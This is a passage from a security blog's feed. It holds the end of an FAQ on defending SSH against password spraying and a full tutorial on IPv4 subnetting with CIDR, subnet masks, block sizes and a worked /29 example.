&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Frequently Asked Questions (FAQ)&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Q1. What is SSH password spraying?&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;
    It is an attack where a single common password is tested against many
    different user accounts instead of trying many passwords on one account.
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Q2. Is password spraying the same as brute force?&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;
    No. Brute-force attacks target one account with many passwords, while
    password spraying targets many accounts with a small set of common
    passwords.
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Q3. Can Fail2Ban stop password spraying?&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;
    Fail2Ban helps block repeated failed login attempts from the same IP
    address, but it should be combined with SSH keys, MFA, and proper monitoring
    for stronger protection.
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Q4. Should I disable SSH password authentication?&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;
    Yes. Using SSH key-based authentication instead of passwords is one of the
    most effective ways to protect SSH access.
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Q5. Does changing the SSH port improve security?&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;
    Changing the default port can reduce automated scanning and log noise, but
    it should not be considered a replacement for proper authentication and
    server hardening.
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/461161271501479004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2026/07/ssh-password-spraying-linux-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/461161271501479004'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/461161271501479004'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2026/07/ssh-password-spraying-linux-security.html' title='ssh-password-spraying-linux-security-guide'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDB92Z29OIIeLL6Ib4F4aUIDGsRnbFEFa7Lzz1dDb6inIiPGVgezAXb9g3LD-qncUvMZc1bfZ5xvaGjnJCgpmx0XSIDkv5bagk9Dgz0ygANsbrEURCb7Fx7yFCvXjkQXXl4ihjDgrQz6ZXVup35lGIRIiiM3d0wJEUHWM6-woWxlpfX9LFRIMKAD0j_yOG/s72-w640-h426-c/ssh-password-spraying-linux-security-guide.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-8160466109320297725</id><published>2026-05-23T22:17:25.872-07:00</published><updated>2026-05-23T22:17:25.873-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="google"/><category scheme="http://www.blogger.com/atom/ns#" term="IP address"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>IPv4 Subnetting Explained Deeply — CIDR, Subnet Masks, Binary, Block Size &amp; Full Subnetting Examples</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2020/08/networking-primer-series-binary-to.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;IPv4 Subnetting Explained Deeply — CIDR, Subnet Masks, Binary, Block Size &amp;amp; Full Subnetting Examples&quot;
      border=&quot;0&quot;
      data-original-height=&quot;1024&quot;
      data-original-width=&quot;1536&quot;
      height=&quot;426&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrrRAgPEWRjTqd0fpgFw0401Ntw9irprAocFlZB8QjBf8doMqvqi99W8LRpL96cSh5k3wPfY0tqTGJgHzv1HlQvW93dMXLgB1nIHiSFkkhmBdgHSXPdejZnLUMLyMYY0RY5S4VtEmYcg0eIHwTg1jrKgNHaFEv0aj_bAVB4OOawX4GnaapoB8PnQuFjJ_w/w640-h426/IPv4%20Subnetting%20Explained%20Deeply.png&quot;
      title=&quot;IPv4 Subnetting Explained Deeply — CIDR, Subnet Masks, Binary, Block Size &amp;amp; Full Subnetting Examples&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  IPv4 Subnetting Explained Deeply — CIDR, Subnet Masks, Binary, Block Size
  &amp;amp; Full Subnetting Examples
&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Subnetting is one of the most important concepts in computer networking.
  Whether you are preparing for CCNA, working as a System Administrator,
  learning DevOps, configuring routers, or building enterprise networks,
  understanding IPv4 subnetting is mandatory.
&lt;/p&gt;
&lt;p&gt;
  At first, subnetting looks confusing because it involves binary calculations,
  CIDR notation, subnet masks, network IDs, broadcast addresses, and block
  sizes. But once you understand the logic behind bits and binary conversion,
  subnetting becomes much easier.
&lt;/p&gt;
&lt;p&gt;
  An IPv4 address consists of 32 bits divided into 4 octets. Each octet contains
  8 bits.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Example:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;192.168.1.10&lt;/p&gt;
&lt;p&gt;4 octets&lt;/p&gt;
&lt;p&gt;8 bits per octet&lt;/p&gt;
&lt;p&gt;8 × 4 = 32 bits&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The binary representation of the IPv4 address is:&lt;/p&gt;
&lt;p&gt;11000000.10101000.00000001.00001010&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;In subnetting, we divide the IP address into two parts:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Network portion&lt;/li&gt;
  &lt;li&gt;Host portion&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;This separation is controlled by the subnet mask or CIDR notation.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Understanding CIDR Notation&lt;/h4&gt;
&lt;p&gt;CIDR stands for Classless Inter-Domain Routing.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;p&gt;192.168.1.10/29&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The /29 means:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;29 bits belong to the network&lt;/p&gt;
&lt;p&gt;3 bits belong to hosts&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Because IPv4 total bits are 32:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;32−29=3&lt;/p&gt;
&lt;p&gt;That means only 3 bits are available for host addresses.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;How to Convert CIDR into Binary Subnet Mask&lt;/h4&gt;
&lt;p&gt;&lt;b&gt;Subnet masks use:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;1 for network bits&lt;/li&gt;
  &lt;li&gt;0 for host bits&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;For /29:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;First 29 bits = 1&lt;/p&gt;
&lt;p&gt;Remaining 3 bits = 0&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Binary subnet mask becomes:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;11111111.11111111.11111111.11111000&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Now count all the 1s:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;8+8+8+5=29&lt;/p&gt;
&lt;p&gt;Therefore this is a /29 subnet mask.&lt;/p&gt;
&lt;p&gt;Converting Binary to Decimal&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The last octet is:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;11111000&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Each binary position has a decimal value.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2020/08/networking-primer-series-binary-to.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      border=&quot;0&quot;
      data-original-height=&quot;591&quot;
      data-original-width=&quot;1020&quot;
      height=&quot;370&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSC_wUGY93loLEtCKr5Jt-lAngB7xi799MAlThS5wPsA7KmnUJd_w8vh1ZAHpM56jaG5Xt-GxVC6Kfn5T1LbMowY6-eZX3RXEy70bk0YCrudAaP2iyqfrbRc2Yh3-BxWEvq8WVTXKDfcuGZdjLGqmrgR_ttQB8If7c_kPWOabrxfxXXgBe74nJIEEFYuen/w640-h370/CIDR.png&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Now apply the binary digits:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;
1×128
1×64
1×32
1×16
1×8
0×4
0×2
0×1


&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Now add active values:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;128+64+32+16+8=248&lt;/p&gt;
&lt;p&gt;So:&lt;/p&gt;
&lt;p&gt;11111000 = 248&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Therefore:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;/29 = 255.255.255.248&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Common CIDR to Subnet Mask Table&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2020/08/networking-primer-series-binary-to.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      border=&quot;0&quot;
      data-original-height=&quot;517&quot;
      data-original-width=&quot;1003&quot;
      height=&quot;330&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwWtSKE33bdTv8btcoP9NV1tRbNbfX6J-4JmnntYYj0osdt3sSHasdReJSjF5JJupUUbTjM_yyAzq1gUflyrUZEbBeMgcuCTyn_QpFZDvs96QXb2yPFSDtUsw-mBOAuV2N75i3cyp_N2qr1Fv439OJq6__d2x17ds6h5NwlLMSiHTpGlc7Bmv4nq9XL8Zx/w640-h330/CIDR-1.png&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;9580532304&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  These subnet masks are heavily used in real enterprise networks, VLANs, WAN
  links, cloud networking, and routing.
&lt;/p&gt;
&lt;p&gt;Understanding Block Size&lt;/p&gt;
&lt;p&gt;To calculate subnet ranges, we use block size.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Formula:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;256 - subnet value&lt;/p&gt;
&lt;p&gt;For /29:&lt;/p&gt;
&lt;p&gt;255.255.255.248&lt;/p&gt;
&lt;p&gt;Interesting octet:&lt;/p&gt;
&lt;p&gt;248&lt;/p&gt;
&lt;p&gt;Now calculate:&lt;/p&gt;
&lt;p&gt;256−248=8&lt;/p&gt;
&lt;p&gt;Therefore block size is:&lt;/p&gt;
&lt;p&gt;8&lt;/p&gt;
&lt;p&gt;This means subnet ranges increase by 8.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Full Subnetting Example — 192.168.1.10/29&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Now let’s subnet the address completely.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Given:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;192.168.1.10/29&lt;/p&gt;
&lt;p&gt;Subnet mask:&lt;/p&gt;
&lt;p&gt;255.255.255.248&lt;/p&gt;
&lt;p&gt;Block size:&lt;/p&gt;
&lt;p&gt;8&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Subnet ranges become:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2020/08/networking-primer-series-binary-to.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      border=&quot;0&quot;
      data-original-height=&quot;595&quot;
      data-original-width=&quot;1072&quot;
      height=&quot;356&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOTVD2p2R-CSzTTwo_HU5J0-tXvwHAhCAsMuyf7wE_V0Y-ByX2sZE3hn3FdEhN0AZpwZnKGJeuo2QUpuDKPTtOzIgdcXmfXFu9D6CsieoWCmitvtp6IjrfCtb-MjFKJXbIg4dBes44f2AwFEVgufuOhKWzUKfPsXXVVd8KJxhueVU0g10Yx2h3-FbF-0Rv/w640-h356/CIDR-2.png&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The IP address:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;192.168.1.10&lt;/p&gt;
&lt;p&gt;&lt;b&gt;falls between:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;8–15&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Therefore the subnet is:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;192.168.1.8/29&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Final Subnetting Result&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvfBUPJyO4LgXtq9QPZqljnL-WTrc_ibXqoIGOFld53GYkuRk9WmKTHWoGogCB2Bh0uYFn7d47KUSPASN7dE1CR0PuxAzW7O6JTKRUWtVTesWN2Qvo6lQT8va7sE7KTM8jVNWw4m4NZFul8bUo8doFJWuG2fN0OE2f8v7brx7AaY40Xvp75W083LNa5p2q/s1014/CIDR-3.png&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      border=&quot;0&quot;
      data-original-height=&quot;306&quot;
      data-original-width=&quot;1014&quot;
      height=&quot;194&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvfBUPJyO4LgXtq9QPZqljnL-WTrc_ibXqoIGOFld53GYkuRk9WmKTHWoGogCB2Bh0uYFn7d47KUSPASN7dE1CR0PuxAzW7O6JTKRUWtVTesWN2Qvo6lQT8va7sE7KTM8jVNWw4m4NZFul8bUo8doFJWuG2fN0OE2f8v7brx7AaY40Xvp75W083LNa5p2q/w640-h194/CIDR-3.png&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;How Many Hosts in /29?&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;We already know:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Total bits = 32&lt;/li&gt;
  &lt;li&gt;Network bits = 29&lt;/li&gt;
  &lt;li&gt;Host bits = 3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;4334138854&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Formula for usable hosts:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;h&lt;/p&gt;
&lt;p&gt;−2&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Where h = host bits.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;For /29:&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;p&gt;−2=6&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Therefore /29 provides:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;6 usable hosts&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  Understanding Network ID and Broadcast Address
&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Every subnet contains:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;One Network ID&lt;/li&gt;
  &lt;li&gt;One Broadcast Address&lt;/li&gt;
  &lt;li&gt;Remaining usable host addresses&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;For subnet:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;192.168.1.8/29&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2020/08/networking-primer-series-binary-to.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      border=&quot;0&quot;
      data-original-height=&quot;528&quot;
      data-original-width=&quot;1105&quot;
      height=&quot;306&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVCt5_4uV1KqFqBz8zbyFtRhcpRBmseL1FFkPpolO_tWl5cRtUXygb9RSyhDtywgFXPSkN5pB98VpJG5F36O75r5DM8ORp0EoO3a6N6tAGMoPkgXo6bYCMoEq_6HWlqPZxoMWHyxiV-0P7BinJDiwQw7m0aU8bpBM_zWqew-WoPAD5azGyjo87_Ye3WsHT/w640-h306/CIDR-4.png&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Why Subnetting is Important&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Subnetting is used everywhere in networking because it:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Reduces broadcast traffic&lt;/li&gt;
  &lt;li&gt;Improves network performance&lt;/li&gt;
  &lt;li&gt;Provides better IP management&lt;/li&gt;
  &lt;li&gt;Increases security segmentation&lt;/li&gt;
  &lt;li&gt;Helps VLAN and routing design&lt;/li&gt;
  &lt;li&gt;Optimizes enterprise networks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Without subnetting, networks become inefficient and difficult to manage.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Final Thoughts&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Subnetting becomes easy once you understand three core concepts:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Binary conversion&lt;/li&gt;
  &lt;li&gt;CIDR notation&lt;/li&gt;
  &lt;li&gt;Block size calculation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;The biggest key is understanding that subnet masks are simply binary
    numbers where:&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;1 = Network bit&lt;/li&gt;
  &lt;li&gt;0 = Host bit&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Once you master binary math and subnet ranges, you can solve subnetting
  problems mentally within seconds.
&lt;/p&gt;
&lt;p&gt;The best way to improve is continuous practice with:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;
/24
/25
/26
/27
/28
/29
/30
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  These are the most commonly used subnet sizes in real-world networking
  environments.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h3&gt;Disclaimer&lt;/h3&gt;
&lt;p&gt;
  &lt;br /&gt;This was written for educational purpose and pentest only.&lt;br /&gt;The
  author will not be responsible for any damage ..!&lt;br /&gt;The author of this
  tool&lt;a
    href=&quot;https://www.hackingtruth.in/2019/10/the-linux-choice-saycheese-hack.html&quot;
  &gt;
    is not re&lt;/a
  &gt;sponsible for any misuse of the information.&lt;br /&gt;You will not misuse the
  information to gain unauthorized access.&lt;br /&gt;This information shall only be
  used to expand knowledge and not for causing&amp;nbsp; malicious or damaging
  attacks.&lt;a
    href=&quot;https://www.hackingtruth.in/2019/10/the-linux-choice-saycheese-hack.html&quot;
  &gt;
    Performing any&lt;/a
  &gt;
  hacks without written permission is illegal ..!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All video’s
  and tutorials are for informational and educational purposes only. We believe
  that ethical hacking, information security and cyber security should be
  familiar subjects to anyone
  &lt;a
    href=&quot;https://www.hackingtruth.in/2019/10/the-linux-choice-saycheese-hack.html&quot;
    &gt;using digital in&lt;/a
  &gt;formation and computers. We believe that it is impossible to defend yourself
  from hackers without knowing how hacking is done. The tutorials and videos
  provided on &lt;a href=&quot;http://www.hackingtruth.in/&quot;&gt;www.hackingtruth.in&lt;/a&gt; is
  only for those who are interested to learn about Ethical Hacking, Security,
  Penetration Testing and malware analysis. Hacking tutorials is against mi&lt;a
    href=&quot;https://www.hackingtruth.in/2019/10/the-linux-choice-saycheese-hack.html&quot;
    &gt;suse of th&lt;/a
  &gt;e information and we strongly suggest against it. Please regard the word
  hacking as ethical hacking or penetration testing every time this word is
  used.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All tutorials and videos have been made using our own
  routers, servers, websites and other resources, they do not contain any
  illegal activity. We do not promote, encourage, support or excite any illegal
  activity or hacking without written permission in general. We want to raise
  security awareness and inform our readers on how to prevent themselves from
  being a victim of hackers. If you plan to use the information for illegal
  purposes, please leave this website now. We cannot be held responsible for any
  misuse of the given information.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
  &lt;b&gt;- Hacking Truth by Kumar Atul Jaiswal&lt;/b&gt;
&lt;/div&gt;
&lt;p&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I hope you liked this post, then you should not forget to
  share this post at all.&lt;br /&gt;Thank you so much :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/8160466109320297725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2026/05/ipv4-subnetting-explained-deeply-cidr.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/8160466109320297725'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/8160466109320297725'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2026/05/ipv4-subnetting-explained-deeply-cidr.html' title='IPv4 Subnetting Explained Deeply — CIDR, Subnet Masks, Binary, Block Size &amp; Full Subnetting Examples'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 